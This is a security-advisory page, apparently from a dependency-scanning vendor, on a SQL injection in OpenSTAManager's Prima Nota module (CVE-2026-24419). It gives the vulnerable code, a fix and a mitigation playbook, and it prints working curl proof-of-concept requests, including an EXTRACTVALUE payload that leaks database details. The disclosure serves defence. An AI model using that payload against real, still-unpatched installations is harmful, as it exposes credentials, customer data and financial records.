Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-4j2x-jh4m-fqv6

OpenSTAManager has a SQL Injection in the Prima Nota module

Also known asCVE-2026-24419
Published
Feb 6, 2026
Updated
Feb 10, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk26th percentile+0.33%
0.00%0.28%0.56%0.84%0.0%0.0%0.0%0.0%0.3%Mar 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐘devcode-it/openstamanager

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.

Status: ✅ Confirmed and tested on live instance (v2.9.8) Vulnerable Parameters: id_documenti (GET parameters) Affected Endpoint: /modules/primanota/add.php Attack Type: Error-Based SQL Injection (IN clause)

Details

OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.

Vulnerability Chain:

  1. Entry Point: /modules/primanota/add.php (Lines 63-67)

    $id_documenti = $id_documenti ?: get('id_documenti');
    $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
    

    Impact: The get() function retrieves user-controlled URL parameters, explode(',', (string) ...) splits them by comma, but NO validation ensures elements are integers.

  2. SQL Injection Point: /modules/primanota/add.php (Line 306)

    $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
    

    Impact: Array elements from $id_documenti are directly concatenated using implode() without type validation or prepare(), enabling full SQL injection.

Root Cause Analysis:

The vulnerability exists because:

  1. get('id_documenti') return user-controlled strings
  2. explode(',', (string) $value) splits by comma but doesn't validate types
  3. implode(',', $array) concatenates array elements directly into SQL
  4. No validation ensures array elements are integers
  5. Attacker can inject SQL by providing: ?id_documenti=1) AND EXTRACTVALUE(...) %23

Affected Code Path:

GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
  ↓
add.php:63 - $id_documenti = get('id_documenti')
  ↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
  ↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]

PoC

Step 1: Login

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Step 2: Verify Vulnerability (Error-Based SQL Injection)

Test 1: Extract Database User and Version

curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"

Response (error message visible to attacker):

<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#039;[email protected] | 8.3.0&#039;</code>
<img width="1231" height="405" alt="image" src="https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64" />

Impact

All authenticated users with access to the Prima Nota (Journal Entry) module.

Recommended Fix

Primary Fix - Type Validation:

File: /modules/primanota/add.php

BEFORE (Vulnerable - Lines 63-67):

$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];

AFTER (Fixed):

$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs

Credits

Discovered by Łukasz Rybak

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistdevcode-it/openstamanagerall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devcode-it/openstamanager. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of devcode-it/openstamanager has shipped for GHSA-4j2x-jh4m-fqv6 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4j2x-jh4m-fqv6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4j2x-jh4m-fqv6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters. **Status:** ✅ Confirmed and tested on live instance (v2.9.8) **Vulnerable Parameters:** `id_documenti` (GET parameters) **Affected Endpoint:** `/modules/primanota/add.php` **Attack Type:** Error-Based SQL Injection (IN clause) ### Details OpenSTAManager v2.9.8
O3 Security · Impact-Aware SCA

Is GHSA-4j2x-jh4m-fqv6 in your dependencies?

O3 detects GHSA-4j2x-jh4m-fqv6 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-4j2x-jh4m-fqv6: devcode-it/openstamanager SQL Injection | O3 Security